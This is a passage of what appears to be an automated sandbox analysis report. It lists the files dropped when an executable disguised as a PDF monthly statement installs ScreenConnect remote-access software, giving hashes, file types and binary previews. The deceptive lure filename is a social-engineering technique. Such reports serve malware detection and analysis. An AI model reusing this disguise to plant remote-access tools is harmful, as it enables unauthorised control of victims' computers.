                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ......~.... ........... ..............................!|....@.................................,...O.................................................................................... ............... ..H............text....w... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Core.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):548864
                                                                                                              Entropy (8bit):6.031251664661689
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6144:7+kYq9xDsxaUGEcANzZ1dkmn27qcO5noYKvKzDrzL9e7eOJsXziIYjVtkb+vbHq+:7SHtpnoVMlUbHbBaYLD
                                                                                                              MD5:16C4F1E36895A0FA2B4DA3852085547A
                                                                                                              SHA1:AB068A2F4FFD0509213455C79D311F169CD7CAB8
                                                                                                              SHA-256:4D4BF19AD99827F63DD74649D8F7244FC8E29330F4D80138C6B64660C8190A53
                                                                                                              SHA-512:AB4E67BE339BECA30CAB042C9EBEA599F106E1E0E2EE5A10641BEEF431A960A2E722A459534BDC7C82C54F523B21B4994C2E92AA421650EE4D7E0F6DB28B47BA
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0..X...........r... ........... ...............................D....@..................................r..O....................................q..8............................................ ............... ..H............text....V... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................r......H........B......................xq........................................{:...*..{;...*V.(<.....}:.....};...*...0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...*.*.*. ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X*...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D...*..{E...*..{F...*V.(<.....}E.....}F...*.0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...*.*.*. F.b# )UU.

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.InstallerActions.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):11776
                                                                                                              Entropy (8bit):5.267782165666963
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:192:TY8/Qp6lCJuV3jnXtyVNamVNG1YZfCrMmbfHJ7kjvLQbuLd9NEFbOhmX:Z/cBJaLXt2NaheUrMmb/FkjvLQbuZZmX
                                                                                                              MD5:5060FA094CE77A1DB1BEB4010F3C2306
                                                                                                              SHA1:93B017A300C14CEEBA12AFBC23573A42443D861D
                                                                                                              SHA-256:25C495FB28889E0C4D378309409E18C77F963337F790FEDFBB13E5CC54A23243
                                                                                                              SHA-512:2384A0A8FC158481E969F66958C4B7D370BE4219046AB7D77E93E90F7F1C3815F23B47E76EFD8129234CCCB3BCAC2AA8982831D8745E0B733315C1CCF3B1973D
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m............." ..0..&..........&E... ...`....... ..............................t.....@..................................D..O....`..............................$D..8............................................ ............... ..H............text...,%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............,..............@..B.................E......H........'.......................C........................................(....*^.(.......&...%...}....*:.(......}....*:.(......}....*:.(......}....*....0..........s.......}.....s....}.....{....r...p(......,h.{....r...p......%...(.....rS..p.(....~....%-.&~..........s....%......(...+%-.&+.(...........s....(...+&.{....o....-!.{.....{.....{....rc..po....(.....{....o.........{.....{.....{....r}..po....(.....{....o....-..{....r...p......(.....*.{....s .....-..o!.......{....r}..p.o

                                                                                                              C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Windows.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):1721856
                                                                                                              Entropy (8bit):6.639136400085158
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:24576:gx5x94kEFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:gx5xKkEJkGYYpT0+TFiH7efP
                                                                                                              MD5:9F823778701969823C5A01EF3ECE57B7
                                                                                                              SHA1:DA733F482825EC2D91F9F1186A3F934A2EA21FA1
                                                                                                              SHA-256:ABCA7CF12937DA14C9323C880EC490CC0E063D7A3EEF2EAC878CD25C84CF1660
                                                                                                              SHA-512:FFC40B16F5EA2124629D797DC3A431BEB929373BFA773C6CDDC21D0DC4105D7360A485EA502CE8EA3B12EE8DCA8275A0EC386EA179093AF3AA8B31B4DD3AE1CA
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............" ..0..>...........]... ...`....... ..............................[.....@................................./]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............D..............@..B................c]......H.......t...h..............0....\........................................()...*^.()..........%...}....*:.().....}....*:.().....}....*:.().....}....*..s*...*..s+...*:.(,.....(-...*..{....*"..}....*J.(/........(0...&*:.(,.....(1...*..{2...*"..}2...*.0..(........(3......+.............(0...&..X....i2.*v.(,....s4...}.....s5...}....*v.{.....r...p(...+.....o7....*.0...........o8....+..o9......(...+&.o....-....,..o......*..........."........{..........o:...&.......(.....*....0..L...

                                                                                                              C:\Users\user\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi

                                                                                                              Download File
                                                                                                              Process:C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe
                                                                                                              File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {E9529982-0D10-CBAC-7648-2909782EACA4}, Create Time/Date: Tue Aug 13 23:22:20 2024, Last Saved Time/Date: Tue Aug 13 23:22:20 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
                                                                                                              Category:dropped
                                                                                                              Size (bytes):13336576
                                                                                                              Entropy (8bit):7.968421626028184
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:196608:353JLR3LGMLiW35g53JLR3LGMLL53JLR3LGMLt53JLR3LGML253JLR3LGMLa53JT:dTiugTRTXT6T+TYTg
                                                                                                              MD5:0867B2EF3BF82353E8556BDC4A6B84A9
                                                                                                              SHA1:642C4D1B54BC695B62B4B7662D8CCB52E1B7DEA8
                                                                                                              SHA-256:20BD545247C5CAFBFF33499B9D84E21BDD56B99D57F3DCEC4B4EBDFFA550389D
                                                                                                              SHA-512:390A0EE1C233F5E1C502524908E8C0D22AC02127B4F7E39DB76E323E26BFD2B59D20EC34AB0236AFD69DDA6186FA1F2F250F4DA956C6C86C630534507A30CA87
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>.......................................................{...b...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 27 14:53:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                                                                                              Category:dropped
                                                                                                              Size (bytes):2673
                                                                                                              Entropy (8bit):3.98959177775431
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:83dGTimOHvidAKZdA1FehwiZUklqehAy+3:8g/OPy
                                                                                                              MD5:E44AFF39C380983C675743826EF3265D
                                                                                                              SHA1:B12A1A804D4757BF70A30DC026DAC02BD7DF5029
                                                                                                              SHA-256:66A3A6E35B581F65B381DE0D7C107E3064ADA790D867A7F548FBEA3F266FBBFD
                                                                                                              SHA-512:9F270EABD6214D95FE6A5F3CF857B185EFC5BF38A7894F814FB44A30810D6184ABF99B472E38F3E0642EB161DD297E57FB1FCCD4C6DFB0F2E9CFAE7E8F9DF84F
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:L..................F.@.. ...$+.,.....M...@..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I{Y.~....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V{Y.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V{Y.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V{Y.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V{Y.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 27 14:53:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                                                                                              Category:dropped
                                                                                                              Size (bytes):2675
                                                                                                              Entropy (8bit):4.009190949240623
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:8cdGTimOHvidAKZdA1seh/iZUkAQkqeh/y+2:8l/o9Qiy
                                                                                                              MD5:6FE2791A44DB2382DE938AD0FCE5E9EB
                                                                                                              SHA1:01E38D31560A6EC8520B4B62CB98C4F1DED28259
                                                                                                              SHA-256:BC3160493CF97EC4EB9F0FF104313A74E8322F1408AAE54FCC7F4F5934A4EC4B
                                                                                                              SHA-512:0845047AEB3D27DB5E798E84FE6726A9BEA34D29E37C063CFC500D38F60AC12C9C3A8F874772B651952ACC8103778FCB9688B2ABDA3BD4368F7B563C4EAD0CB9
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:L..................F.@.. ...$+.,....[...@..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I{Y.~....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V{Y.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V{Y.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V{Y.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V{Y.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                                                                                              Category:dropped
                                                                                                              Size (bytes):2689
                                                                                                              Entropy (8bit):4.012906098974509
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:8pdGTimAHvidAKZdA14meh7sFiZUkmgqeh7sZy+BX:8C/6nLy
                                                                                                              MD5:EC0AB82B96A050848BF62F8E987AE155
                                                                                                              SHA1:7D8B32E31E7C906FE852E3828BE6751891642905
                                                                                                              SHA-256:6B275DED1931508B1C256C4F9F5E8EC6EB58AFFABC1522EB2C223C0441F8CD5B
                                                                                                              SHA-512:DB60CFA5B74BB9FD1A32DF0FD60EFAB0B0147B268CEAB835C80F9C01D1992F9E88B2166B72F6B1BA1FA86A4D01AFBADC71FDB2E28FA01F328AACC7953788C5E6
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I{Y.~....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V{Y.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V{Y.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V{Y.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 27 14:53:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                                                                                              Category:dropped
                                                                                                              Size (bytes):2677
                                                                                                              Entropy (8bit):4.005673148832877
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:8kdGTimOHvidAKZdA1TehDiZUkwqehTy+R:8N/DBy
                                                                                                              MD5:49C535A0F909FAB7FEDB53F3B2F01F30
                                                                                                              SHA1:8F6BB1F592011E9A436863DC07D83EC29FEA70CE
                                                                                                              SHA-256:B606A5B51D7D2F810FD9959B89AAF167A7B493ED0356180204433C03281FDCFB
                                                                                                              SHA-512:F108A55AD21C428FCA652AAF6029954004A05676E8EE0B92C42AEF4E6F4071F7B569841AC77596B07AF694BC7A17000990795AA3116DE8A661CDAC454F8CF878
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:L..................F.@.. ...$+.,..... ...@..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I{Y.~....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V{Y.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V{Y.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V{Y.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V{Y.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 27 14:53:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                                                                                              Category:dropped
                                                                                                              Size (bytes):2677
                                                                                                              Entropy (8bit):3.991081401454088
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:8HsdGTimOHvidAKZdA1dehBiZUk1W1qehVy+C:8H1/z91y
                                                                                                              MD5:1341D95603EB3BAD72FEF1F257BCE076
                                                                                                              SHA1:6720C92BCB9F415E8E3010AC9BE8EF2EE14751AC
                                                                                                              SHA-256:7DF4570A9F8AAE78ADFBA08B77D137AB2617E15D90441D4A12F919D14B07937A
                                                                                                              SHA-512:772C0CDF09A58D3E81A1FB88897A3007746073858AB1850065560AA4224EC35401162D10A31F9748F2452365A68E42486250625BB008B7AC33136339A6CA2427
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:L..................F.@.. ...$+.,....oD...@..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I{Y.~....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V{Y.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V{Y.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V{Y.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V{Y.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 27 14:53:44 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                                                                                              Category:dropped
                                                                                                              Size (bytes):2679
                                                                                                              Entropy (8bit):4.001173279856283
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:8hdGTimOHvidAKZdA1duTeehOuTbbiZUk5OjqehOuTbLy+yT+:8a/XTfTbxWOvTbLy7T
                                                                                                              MD5:39B14B83A115DB6EF29BC139BA0F6D04
                                                                                                              SHA1:D1C21B7A045177D46708805941B2FD9453B88533
                                                                                                              SHA-256:C119DFF54E26AB49E15EE0B76B5FA6D78BD655A45D6FFB38EF1D9C9C8D6F7AD4
                                                                                                              SHA-512:C3268F9A5F86F8ABCE61AC364E1E887BD28A92B1A051E4618DC41253BFFEC7DB75610D0CA452717CBC31D849D804E6D208D8634AEC29621F43F4CECC69151899
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:L..................F.@.. ...$+.,.....1...@..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I{Y.~....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V{Y.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V{Y.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V{Y.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V{Y.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                                                                                              C:\Users\user\Downloads\79a99374-7c91-4f1c-b843-e190de3d3a98.tmp

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):16151
                                                                                                              Entropy (8bit):6.481390438746775
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:384:5c1SDrStQLgeJ0+gdc/Khl9Vtu4dkbQMQOv/TR41Fcja:kAWtQtyllXPdkRQ+bWXcO
                                                                                                              MD5:C99603CFF45577C5EB8DA3ABD2C88051
                                                                                                              SHA1:67EEF493E2DAE77892B56B58BFE56E448B454DF4
                                                                                                              SHA-256:F7854A3A43CC5F18EBEE62FF1EAC4761257AEAF5266F152D2E24AEB850A52D3B
                                                                                                              SHA-512:69881638D7D4232C551D65F1379FD54CA99245A63DA0BAF2C3F2CA50E96C02BE5ED499EEB3F0CE087F2F18041D3BF88AAF519E98F6C224BE5CF5BAB3333CB742
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......S...................@...........................T.......T...@..................................)..P....`...0S..........bT..i....T..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc....0S..`...2S.. ..............@..@.reloc........T......RT.............@..B................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe (copy)

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):5622768
                                                                                                              Entropy (8bit):7.4260317750633895
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:49152:8Dex5xKkEJkGYYpT0+TFiH7efP0x58IJL+md3rHgDNMKLo8SsxG/XcW32gqkAfoO:w4s6efPQ53JLbd3LINMLaGUW39f0
                                                                                                              MD5:E7D896F9AF8FB4340CBAFE162FB3C3B7
                                                                                                              SHA1:8D63D5BDF3FE06B8CFA63F96B89722CFBB745C97
                                                                                                              SHA-256:BE5863266E3FA37D7AF81431354511FF06CCD70A3B0601F4608F16B825D9EF15
                                                                                                              SHA-512:1C04CE6135B1131A8F67C90F3F03BAAA81004BD9B2C452A3B5E3F8C3296384CD85A8436EBCACC7F283102446ABAF3C99BD52F1660C0CDB559B459A6907ADD947
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......S...................@...........................T.......T...@..................................)..P....`...0S..........bT..i....T..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc....0S..`...2S.. ..............@..@.reloc........T......RT.............@..B................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Users\user\Downloads\Unconfirmed 905245.crdownload

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):5622768
                                                                                                              Entropy (8bit):7.4260317750633895
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:49152:8Dex5xKkEJkGYYpT0+TFiH7efP0x58IJL+md3rHgDNMKLo8SsxG/XcW32gqkAfoO:w4s6efPQ53JLbd3LINMLaGUW39f0
                                                                                                              MD5:E7D896F9AF8FB4340CBAFE162FB3C3B7
                                                                                                              SHA1:8D63D5BDF3FE06B8CFA63F96B89722CFBB745C97
                                                                                                              SHA-256:BE5863266E3FA37D7AF81431354511FF06CCD70A3B0601F4608F16B825D9EF15
                                                                                                              SHA-512:1C04CE6135B1131A8F67C90F3F03BAAA81004BD9B2C452A3B5E3F8C3296384CD85A8436EBCACC7F283102446ABAF3C99BD52F1660C0CDB559B459A6907ADD947
                                                                                                              Malicious:false
                                                                                                              Yara Hits:
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\Downloads\Unconfirmed 905245.crdownload, Author: Joe Security
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......S...................@...........................T.......T...@..................................)..P....`...0S..........bT..i....T..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc....0S..`...2S.. ..............@..@.reloc........T......RT.............@..B................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Installer\4ad420.msi

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {E9529982-0D10-CBAC-7648-2909782EACA4}, Create Time/Date: Tue Aug 13 23:22:20 2024, Last Saved Time/Date: Tue Aug 13 23:22:20 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
                                                                                                              Category:dropped
                                                                                                              Size (bytes):13336576
                                                                                                              Entropy (8bit):7.968421626028184
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:196608:353JLR3LGMLiW35g53JLR3LGMLL53JLR3LGMLt53JLR3LGML253JLR3LGMLa53JT:dTiugTRTXT6T+TYTg
                                                                                                              MD5:0867B2EF3BF82353E8556BDC4A6B84A9
                                                                                                              SHA1:642C4D1B54BC695B62B4B7662D8CCB52E1B7DEA8
